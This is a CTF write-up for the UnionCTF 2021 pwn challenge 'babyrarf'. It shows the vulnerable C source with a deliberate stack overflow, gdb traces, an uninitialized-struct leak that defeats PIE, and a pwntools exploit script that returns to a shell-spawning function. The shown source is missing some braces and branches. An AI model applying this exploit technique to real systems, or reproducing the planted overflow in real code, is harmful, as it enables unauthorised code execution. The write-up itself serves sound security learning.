[UnionCTF 2021 - pwn] babyrarf

The binary can be found right here.

[UnionCTF] Babyrarf

Welcome guys,

This Write-Up is about de first pwn challenge of unionctf: babyrarf. It was a really easy challenge with a stack based buffer overflow. The source code was provided so, no need to reverse the binary :).

Let’s take a look at the src!

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>

typedef struct attack {
    uint64_t id;
    uint64_t dmg;
} attack;

typedef struct character {
    char name[10];
    int health;
} character;

uint8_t score;

int read_int(){
    char buf[10];
    fgets(buf, 10, stdin);
    return atoi(buf);

void get_shell(){
    execve("/bin/sh", NULL, NULL);

attack choose_attack(){
    attack a;
    int id;
    puts("Choose an attack:\n");
    puts("1. Knife\n");
    puts("2. A bigger knife\n");
    puts("3. Her Majesty's knife\n");
    puts("4. A cr0wn\n");
    id = read_int();
    if (id == 1){
        a.id = 1;
        a.dmg = 10;
    else if (id == 2){
        a.id = 2;
        a.dmg = 20;
    else if (id == 3){
        a.id = 3;
        a.dmg = 30;
    else if (id == 4){
        if (score == 0){
            puts("l0zers don't get cr0wns\n");
            a.id = 4;
            a.dmg = 40;
        puts("Please select a valid attack next time\n");
        a.id = 0;
        a.dmg = 0;
    return a;

int main(){
    character player = { .health = 100};
    character boss = { .health = 100, .name = "boss"};
    attack a;
    int dmg;

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    puts("You are fighting the rarf boss!\n");
    puts("What is your name?\n");
    fgets(player.name, 10, stdin);

    score = 10;

    while (score < 100){
        a = choose_attack();
        printf("You choose attack %llu\n", a.id);
        printf("You deal %llu dmg\n", a.dmg);
        boss.health -= a.dmg;
        dmg = rand() % 100;
        printf("The boss deals %llu dmg\n", dmg);
        player.health -= dmg;
        if (player.health > boss.health){
            puts("You won!\n");
            score += 1;
            puts("You lost!\n");
            score -= 1;
        player.health = 100;
        boss.health = 100;

    puts("Congratulations! You may now declare yourself the winner:\n");
    fgets(player.name, 48, stdin);
    return 0;

It’s basically some kind of game, we have to win a lot of times to display Congratulations! You may now declare yourself the winner. And when we reach this part we can trigger a buffer overflow with a call to fgets (fgets(player.name, 48, stdin);). We notice too the get_shell function (maybe we will have to jump on ?).

Let’s take a look at gdb:

──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf48│+0x0000: 0x00007ffff7dd30b3  →  <__libc_start_main+243> mov edi, eax	 ← $rsp
0x00007fffffffdf50│+0x0008: 0x00007ffff7ffc620  →  0x0005081200000000
0x00007fffffffdf58│+0x0010: 0x00007fffffffe038  →  0x00007fffffffe357  →  "/home/nasm/dist/babyrarf"
0x00007fffffffdf60│+0x0018: 0x0000000100000000
0x00007fffffffdf68│+0x0020: 0x00005555555552e4  →  <main+0> push rbp
0x00007fffffffdf70│+0x0028: 0x00005555555554d0  →  <__libc_csu_init+0> endbr64 
0x00007fffffffdf78│+0x0030: 0xdb21ca7fd193f05a
0x00007fffffffdf80│+0x0038: 0x00005555555550b0  →  <_start+0> endbr64 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555552de <choose_attack+234> mov    rdx, QWORD PTR [rbp-0x18]
   0x5555555552e2 <choose_attack+238> leave  
   0x5555555552e3 <choose_attack+239> ret    
 → 0x5555555552e4 <main+0>         push   rbp
   0x5555555552e5 <main+1>         mov    rbp, rsp
   0x5555555552e8 <main+4>         sub    rsp, 0x40
   0x5555555552ec <main+8>         mov    QWORD PTR [rbp-0x20], 0x0
   0x5555555552f4 <main+16>        mov    QWORD PTR [rbp-0x18], 0x0
   0x5555555552fc <main+24>        mov    DWORD PTR [rbp-0x14], 0x64
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "babyrarf", stopped 0x5555555552e4 in main (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555552e4 → main()

And at the call to fgets:

   0x55555555537d <main+153>       lea    rax, [rbp-0x20]
   0x555555555381 <main+157>       mov    esi, 0xa
   0x555555555386 <main+162>       mov    rdi, rax
 → 0x555555555389 <main+165>       call   0x555555555060 <fgets@plt>
   ↳  0x555555555060 <fgets@plt+0>    jmp    QWORD PTR [rip+0x2fca]        # 0x555555558030 <fgets@got.plt>
      0x555555555066 <fgets@plt+6>    push   0x3
      0x55555555506b <fgets@plt+11>   jmp    0x555555555020
      0x555555555070 <execve@plt+0>   jmp    QWORD PTR [rip+0x2fc2]        # 0x555555558038 <execve@got.plt>
      0x555555555076 <execve@plt+6>   push   0x4
      0x55555555507b <execve@plt+11>  jmp    0x555555555020
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
fgets@plt (
   $rdi = 0x00007fffffffdf20 → 0x0000000000000000,
   $rsi = 0x000000000000000a,
   $rdx = 0x00007ffff7f97980 → 0x00000000fbad208b
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "babyrarf", stopped 0x555555555389 in main (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555555389 → main()

So main_ret_addr minus player.name is equal to: 0x00007fffffffdf48 - 0x00007fffffffdf20 = 40 . So we have basically a padding of 40 bytes before the return address, and according to the last fgets, we can only enter 48 bytes. We can so overwrite only the return address.

Now we can take a look at the permissions:

gef➤  checksec
[+] checksec for '/home/nasm/dist/babyrarf'
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✓ 
Fortify                       : ✘ 
RelRO                         : Partial

We can see, the binary is PIE based, so in order to jump on get_shell we need to leak some binary’s functions. To do so we can mind the code of choose_attack function:

attack choose_attack(){
    attack a;
    int id;
    /* Some print stuff */
    id = read_int(); // It is readinf the type of weapons we want
    /* Here it is handling properly dammage and weapon type */

    else if (id == 4){
        if (score == 0){
            puts("l0zers don't get cr0wns\n");
            a.id = 4;
            a.dmg = 40;
        puts("Please select a valid attack next time\n");
        a.id = 0;
        a.dmg = 0;
    return a;

The interesting part is that when our score is zero and that we choose the fourth weapon, the id et dmg fields are not initialized. And so it’s returning a non initialized struct that it will print just next in the main function:

    /* ... */
    a = choose_attack();
    printf("You choose attack %llu\n", a.id);
    printf("You deal %llu dmg\n", a.dmg);

Uninitialized structures are very useful to obtain leaks because their content is depending of the ancient stackframes which have stored local variables and especially useful pointers. And when we try to leak these datas, we can see that a.id displays the address of __lib_csu_init. So we just need to leak the address of __lib_csu_init to compute the base address of the binary and so the address of get_shell.

from pwn import *

#p = process("babyrarf")

r = remote('', 1337)
e = ELF('babyrarf')

set_ = False
base = 0
csu_leak = 0

def padd(d):
    return d + '\00'*(8-len(d))

print(r.recvuntil("What is your name?\n\n"))
print(r.recvuntil("4. A cr0wn\n\n"))

while True:
    a = r.recvuntil("4. A cr0wn\n\n", timeout=1)

    if not a:
    if not set_:

    b = r.recvuntil("You choose attack ")

    if "l0zers don't get cr0wns" in b:
        leak_csu = int(padd(r.recvline().replace("\n", "")))
        base = leak_csu - e.symbols['__libc_csu_init']

        print("base: {}".format(hex(base)))

        set_ = True

print(r.recvuntil("Congratulations! You may now declare yourself the winner:\n\n"))

r.sendline("A"*40 + p64(e.symbols['get_shell'] + base))

We can compute compute the value of rand to avoid bruteforce, but I’ve choosen to do not. So while it does not print l0zers don't get cr0wns, I’m sending 4 for cr0wn and when it is teh case I get my leak of the csu and I compute the base address. When It’s done I’m sending 1 because it sounds more speed and I wait to win. And when I won I can trigger the buffer overflow and jmp on get_shell.

/* ... */
/* lot of iterations */
/* ... */

You deal 40 dmg
The boss deals 70 dmg
You lost!

Choose an attack:

1. Knife

2. A bigger knife

3. Her Majesty's knife

4. A cr0wn

base: 0x55b3b5b39000
You deal 140736258161760 dmg
The boss deals 96 dmg
You lost!

Congratulations! You may now declare yourself the winner:

[*] Switching to interactive mode
$ cat /home/babyrarf/flag.txt

The final script can be found here.

That’s all folks :)